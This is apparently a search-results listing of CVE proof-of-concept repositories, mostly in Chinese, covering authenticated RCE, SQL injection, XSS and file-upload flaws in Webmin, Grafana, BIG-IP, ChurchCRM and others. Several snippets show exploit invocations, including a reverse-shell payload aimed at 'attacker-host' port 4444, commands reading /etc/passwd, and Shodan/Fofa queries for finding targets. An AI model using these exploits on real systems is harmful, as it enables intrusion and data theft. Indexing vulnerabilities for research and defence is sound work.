159522 matches found
CVE-2023-47564
CVE-2023-47564 https://www.qnap.com/en/security-advisory/qsa-24-03 https://vulners.com/cve/CVE-2023-47564 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 8.1 "一个对关键资源的权限分配不正确漏洞已被报告影响 Qsync Central。如果被利用，该漏洞可能允许经过身份验证的用户通过网络读取或修改资源。" 发现日期: 2023年12月5日 修复日期: 2024年2月3日 受影响版本: Qsync Central 4.4.x, Qsync...
CVE-2024-39306
描述 此脚本是CVE-2024-39306的概念验证（PoC），由于存在SQL注入漏洞，经过身份验证的用户可以在运行ChurchCRM -p -b -c 示例：python3 CVE-2024-39306.py -u FirstLast -p Password123 -b http://localhost/churchcrm -c whoami 链接 https://github.com/ChurchCRM/CRM/security/advisories/GHSA-r2gf-5m64-8v39 https://vulners.com/cve/CVE-2024-39306...
CVE-2023-46747-RCE
漏洞详情 fofa： title="BIG-IP" || iconhash="-335242539" shodan title:"BIG-IP" 受影响版本 https://my.f5.com/manage/s/article/K000137353 漏洞复现 1. 此时，这里用户仅为 admin： 2. 执行脚本： git clone https://github.com/W01fh4cker/CVE-2023-46747-RCE.git cd CVE-2023-46747-RCE pip install -r requirements.txt python...
CVE-2022-36446-Webmin-RCE
CVE-2022-36446 — Webmin 1.997 RCE 已认证 用于利用 Webmin 1.997 之前版本中通过 Software Package Updates 模块存在的远程代码执行漏洞的 Exploit。 工作原理？ Webmin 的 Software Package Updates 模块在将 u 参数传递给系统之前未能正确进行清理。拥有该模块访问权限的已认证用户可以注入任意命令，这些命令将以 root 身份执行。 前提条件 在运行 Exploit 之前安装依赖项： pip3 install requests beautifulsoup4 lxml urllib3 参...
CVE-2025-67435-PoC
CVE-2025-67435 研究人员：Chowdhury Faizal Ahammed PluckCMS Zip Slip 远程代码执行漏洞报告 执行摘要 本报告记录了在 PluckCMS 中发现的一个严重安全漏洞，该漏洞允许经过身份验证的攻击者通过 Zip Slip 攻击向量实现远程代码执行。该漏洞存在于模块上传功能中，可通过上传包含恶意 PHP 代码的特制 ZIP 压缩包加以利用。 产品链接： GitHub 仓库：https://github.com/pluck-cms/pluck.git 受影响版本 4.7.20 漏洞详情 漏洞类型： Zip Slip 导致远程代码执行（RCE）...
CVE-2025-26892
CVE-2025-26892 – WordPress Celestial Aura 主题 = 2.2 任意文件上传（需认证） 📄 描述 在 WordPress Celestial Aura 主题（由 dkszone 开发）至版本 2.2 中存在一个不受限制的文件上传 漏洞。 低权限的已认证用户可以通过主题的管理面板上传任意 PHP 文件，从而可能导致远程代码执行（RCE） 。 受影响主题：Celestial Aura 受影响版本：≤ 2.2 漏洞文件：wp-admin/admin.php?page=CA-settings 可利用者：任何已认证用户（订阅者及以上） 无...
CVE-2023-30854
WWBN Avideo 认证 RCE - 操作系统命令注入 CVE-2023-30854 WWBN Avideo sqlFile $objClone-cloneSiteURLvideos/cache/clones/$json-sqlFile"; $log-add"Clone 2 of $totalSteps: Geting MySQL Dump file"; exec$cmd . " 2&1", $output, $returnval; 我们可以通过管理面板的克隆站点功能控制 $objClone-cloneSiteURL。...
CVE-2024-9264
🚨 CVE-2024-9264 - Grafana SQL注入导致远程代码执行（RCE）和文件读取 针对CVE-2024-9264的利用工具，Grafana中的一个关键漏洞 ，允许认证的攻击者执行SQL查询导致RCE 🛡️ 此工具严格用于教育目的 和授权的渗透测试 。 未经授权的使用是非法且不道德的。 🧠 漏洞概述 🕳️ 什么是CVE-2024-9264？ CVE-2024-9264 是Grafana中的一个关键缺陷，允许认证的攻击者执行SQL命令，导致RCE和文件读取 🧬 根本原因 不充分的清理。 💥 影响 RCE ：执行任意命令，获取反弹shell，或读取敏感文件。 高严重性...
CVE-2022-23940
CVE-2022-23940 CVE-2022-23940 的 PoC，又名 SCRMBT-187 - SuiteCRM（= 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940 示例用法： Spawning a PHP Reverse shell to attacker-host on port 4444 ./exploit.py -u user -p redacted --payload "php -r...
SharpRDP
SharpRDP - Aplicación de consola de Protocolo de Escritorio Remoto para ejecución de comandos autenticados Compilación Para compilar, abra el proyecto en Visual Studio y compile para Release. Se generarán dos DLL en el directorio Release, pero no las necesita porque las DLL están incluidas en el...
CVE-2019-15642
CVE-2019-15642 Webmin 远程代码执行（已认证） Python 用法： python CVE-2019-15642.py https://xxx.xxx.xxx:10000 "cat /etc/passwd" 0x01 使用 Docker 搭建 Webmin cd /vulhub/webmin/CVE-2019-15107 docker-compose up -d root@9460493fa985:/ passwd root Webmin 用户名=root, 密码=root ⚡ root@jas502n /vulhub/webmin/CVE-2019-15107 ...
CVE-2022-38813
CVE-2022-38813 基于Codeigniter的血液捐赠管理系统v1.0中通过用户参数实现垂直权限提升 技术描述： Blood Donor Management System 1.0 未正确限制对 admin/dashboard.php 的访问，允许攻击者访问所有用户数据、删除用户、添加和管理血型以及提交报告。 受影响组件 - 源代码 在以下源代码中，我们可以看到 user/dashboard 没有正确限制用户参数，因此攻击者可以更改该参数为管理员参数，从而获得管理员账户的访问权限。 受影响页面 - User 中的 Dashboard.php 和 Admin 中的...
CVE-2018-19422-SubrionCMS-RCE
CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 认证远程代码执行 Subrion CMS 4.2.1 中的 /panel/uploads 允许远程攻击者通过 .pht 或 .phar 文件执行任意 PHP 代码，因为 .htaccess 文件未包含这些扩展名。 漏洞利用方法 命令： Windows/Linux: $ sudo python3 subrionRCE.py -u http://IP/panel/ -l -p 参考链接： https://www.exploit-db.com/exploits/49876...
cve-2026-26114-poc
CVE-2026-26114 Solo para uso en laboratorio o sistemas autorizados para pruebas. PoC en Python pip install requests requests-ntlm python poc/cve202626114rce.py ^ --target http://sharepoint.local ^ --username spuser1 ^ --password "Password123!" ^ --domain SP19 ^ --cmd "cmd /c whoami...
CVE-2025-56379
CVE-2025-56379 — ERPNext 15.67.0 / Frappe 15.72.4 中的存储型跨站脚本（XSS）漏洞 📌 摘要 ERPNext（v15.67.0）/ Frappe（v15.72.4）的博客模块中存在一个存储型跨站脚本（XSS）漏洞。可以创建或编辑博客文章的身份验证用户可以在 content 字段中注入精心构造的 HTML/JavaScript。该负载会被存储，并在任何查看博客文章页面的用户的浏览器中执行，从而允许任意脚本执行、信息泄露、拒绝服务和其他客户端攻击。管理员权限并非 严格要求——任何有权创建/编辑博客文章的用户均可利用该漏洞。 🛠 技术细节...
CVE-2023-32073
WWBN AVideo currentVersion 认证后的远程代码执行（RCE） plugin/CloneSite/cloneClient.json.php 中存在一个命令注入漏洞，如果你启用了 CloneSite 插件，则该漏洞可实现远程代码执行。这是对 CVE-2023-30854 修复的绕过，该 CVE 影响 WWBN Avideo 至 12.3 版本。 漏洞代码 /plugin/CloneSite/cloneClient.json.php $json-sqlFile = escapeshellargpregreplace'/^a-z0-9.-/i', '',...
CVE-2019-12840_POC
CVE-2019-12840POC Webmin 包更新认证远程命令执行的概念验证（PoC） 另一个 Metasploit 模块的替代方案。 所有功劳归功于 Özkan Mustafa Akkuş https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html...
perl-CryptX
名称 CryptX - 加密工具包 概要 CryptX 是发行版的入口点。在正常代码中，请加载下面列出的具体模块之一。 one-shot hashing use Crypt::Digest qwdigestdatahex; my $sha256 = digestdatahex'SHA256', 'hello world'; classic AES-CBC encryption with padding use Crypt::Mode::CBC; my $cbc = Crypt::Mode::CBC-new'AES'; my $iv = randombytes16; 16-byte AES...
CVE-2025-45778
CVE-2025-45778 CVE-2025-45778：已认证存储型XSS。 The Language Sloth Web Application v1.0 中存在一个已认证存储型跨站脚本（XSS）漏洞，允许攻击者在创建新项目时，通过在"Description"文本字段中注入特制载荷来执行任意 JavaScript 或 HTML 代码。 一旦注入载荷，用户每次打开页面时都会触发该载荷。 像 alert'XSS' 这样的简单载荷就足以触发存储型XSS漏洞。 供应商已知道该漏洞，并授权发布本文。 发现致谢 Ivan Carlos Oliveira smarttfoxx, Filipe...